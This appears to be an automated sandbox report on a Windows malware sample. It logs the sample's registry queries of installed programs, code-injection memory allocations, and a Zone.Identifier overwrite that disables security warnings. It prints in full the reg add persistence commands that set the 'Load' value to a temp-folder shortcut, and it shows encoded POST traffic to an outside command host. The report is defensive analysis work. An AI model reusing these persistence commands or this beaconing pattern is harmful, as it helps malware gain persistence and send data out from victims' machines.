regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager
options: 0
success 0 0
1619286454.95225
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x000003e8
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx
options: 0
success 0 0
1619286454.95225
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x000003ec
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx
options: 0
success 0 0
1619286454.95225
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x000003f0
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore
options: 0
success 0 0
1619286454.95225
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x000003f4
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore
options: 0
success 0 0
1619286454.95225
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x000003f8
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome
options: 0
success 0 0
1619286454.95225
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x000003fc
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome
options: 0
success 0 0
1619286454.95225
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x00000404
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\IE40
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\IE40
options: 0
success 0 0
1619286454.95225
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x00000408
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\IE40
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\IE40
options: 0
success 0 0
1619286454.95225
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x0000040c
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data
options: 0
success 0 0
1619286454.95225
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x00000410
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data
options: 0
success 0 0
1619286454.95225
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x00000414
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX
options: 0
success 0 0
1619286454.95225
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x00000418
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX
options: 0
success 0 0
1619286454.95225
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x0000041c
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\IEData
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\IEData
options: 0
success 0 0
1619286454.96725
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x00000420
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\IEData
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\IEData
options: 0
success 0 0
1619286454.96725
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x00000424
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack
options: 0
success 0 0
1619286454.96725
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x00000428
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack
options: 0
success 0 0
1619286454.96725
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x0000042c
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent
options: 0
success 0 0
1619286454.96725
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x00000430
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent
options: 0
success 0 0
1619286454.96725
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x00000434
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\WIC
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\WIC
options: 0
success 0 0
1619286454.96725
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x00000438
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\WIC
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\WIC
options: 0
success 0 0
1619286454.96725
RegOpenKeyExA
access: 0x00020019
base_handle: 0x80000001
key_handle: 0x00000000
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall
options: 0
failed 2 0
Uses Windows utilities for basic Windows functionality (3 个事件)
cmdline reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Load /t REG_SZ /d "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\FolderN\name.exe.lnk" /f
cmdline "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Load /t REG_SZ /d "%temp%\FolderN\name.exe.lnk" /f
cmdline cmd.exe /c reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Load /t REG_SZ /d "%temp%\FolderN\name.exe.lnk" /f
Modifies the ZoneTransfer.ZoneID in Zone.Identifier ADS, generally to disable security warnings (2 个事件)
Time & API Arguments Status Return Repeated
1619286401.999375
NtCreateFile
create_disposition: 5 (FILE_OVERWRITE_IF)
file_handle: 0x00000080
filepath: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\FolderN\name.exe:Zone.Identifier
desired_access: 0x40100080 (FILE_READ_ATTRIBUTES|SYNCHRONIZE|GENERIC_WRITE)
file_attributes: 128 (FILE_ATTRIBUTE_NORMAL)
filepath_r: \??\C:\Users\ADMINI~1.OSK\AppData\Local\Temp\FolderN\name.exe:Zone.Identifier
create_options: 96 (FILE_NON_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT)
status_info: 2 (FILE_CREATED)
share_access: 1 (FILE_SHARE_READ)
success 0 0
1619286402.014375
NtWriteFile
file_handle: 0x00000080
filepath:
buffer: [zoneTransfer]ZoneID = 2
offset: 0
success 0 0
网络通信
Communicates with host for which no DNS query was performed (2 个事件)
host 172.217.24.14
host 174.127.99.159
Allocates execute permission to another process indicative of possible code injection (4 个事件)
Time & API Arguments Status Return Repeated
1619269236.219727
NtAllocateVirtualMemory
process_identifier: 3348
region_size: 208896
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0x0000031c
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x00400000
failed 3221225496 0
1619269236.219727
NtAllocateVirtualMemory
process_identifier: 3348
region_size: 208896
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0x0000031c
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x000b0000
success 0 0
1619286394.592125
NtAllocateVirtualMemory
process_identifier: 196
region_size: 131072
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0x00000330
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x00400000
failed 3221225496 0
1619286394.592125
NtAllocateVirtualMemory
process_identifier: 196
region_size: 131072
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0x00000330
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x000b0000
success 0 0
可视化分析
二进制图像
暂无二进制图像 该样本未生成二进制可视化图像
运行截图
暂无运行截图 该样本运行过程中未生成截图

👋 欢迎使用 ChatHawk

我是您的恶意软件分析助手，可以帮您分析和解读恶意软件报告。请随时向我提问！

🔍 主要威胁分析
⚡ 行为特征
🛡️ 防护建议
🔧 技术手段
🎯 检测方法
🤖

PE Compile Time

2020-05-07 09:21:27

Imports

Library mscoree.dll:
• 0x402000 _CorExeMain

Hosts

No hosts contacted.

TCP

Source Source Port Destination Destination Port
192.168.56.101 49180 178.210.168.15 ensaenerji.com 80

UDP

Source Source Port Destination Destination Port
192.168.56.101 50534 114.114.114.114 53
192.168.56.101 51378 114.114.114.114 53
192.168.56.101 51963 114.114.114.114 53
192.168.56.101 56539 114.114.114.114 53
192.168.56.101 57756 114.114.114.114 53
192.168.56.101 58367 114.114.114.114 53
192.168.56.101 65004 114.114.114.114 53
192.168.56.101 137 192.168.56.255 137
192.168.56.101 138 192.168.56.255 138
192.168.56.101 123 20.189.79.72 time.windows.com 123
192.168.56.101 49235 224.0.0.252 5355
192.168.56.101 53237 224.0.0.252 5355
192.168.56.101 53657 224.0.0.252 5355
192.168.56.101 56804 224.0.0.252 5355
192.168.56.101 60123 224.0.0.252 5355
192.168.56.101 62191 224.0.0.252 5355
192.168.56.101 1900 239.255.255.250 1900
192.168.56.101 56540 239.255.255.250 3702
192.168.56.101 56807 239.255.255.250 1900
192.168.56.101 58368 239.255.255.250 3702

HTTP & HTTPS Requests

URI Data
http://ensaenerji.com/mep/index.php 
POST /mep/index.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)
Host: ensaenerji.com
Content-Length: 113
Cache-Control: no-cache

J/\xfb8/\xfb4/\xfb<H\xed>2\xed>9\xed>:\xed?N\xed>8\xed>2\xed><\x8b(9\xfbIL\x8b(8\x8c(9\xffK/\xfb?/\xfb>/\xfb8/\xfb</\xfb>/\xfb8/\xfaI/\xfb9/\xfb9/\xfb5/\xfb?/\xfb:O\xed>?\xed>9\xed?N\xed>2\xed><\x89(9\xfaN/\xfb4/\xfb4/\xfb5O
http://ensaenerji.com/mep/index.php 
POST /mep/index.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)
Host: ensaenerji.com
Content-Length: 2217
Cache-Control: no-cache

ICMP traffic

No ICMP traffic performed.

IRC traffic

No IRC requests performed.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Snort Alerts

No Snort Alerts

Sorry! No dropped files.
Sorry! No dropped buffers.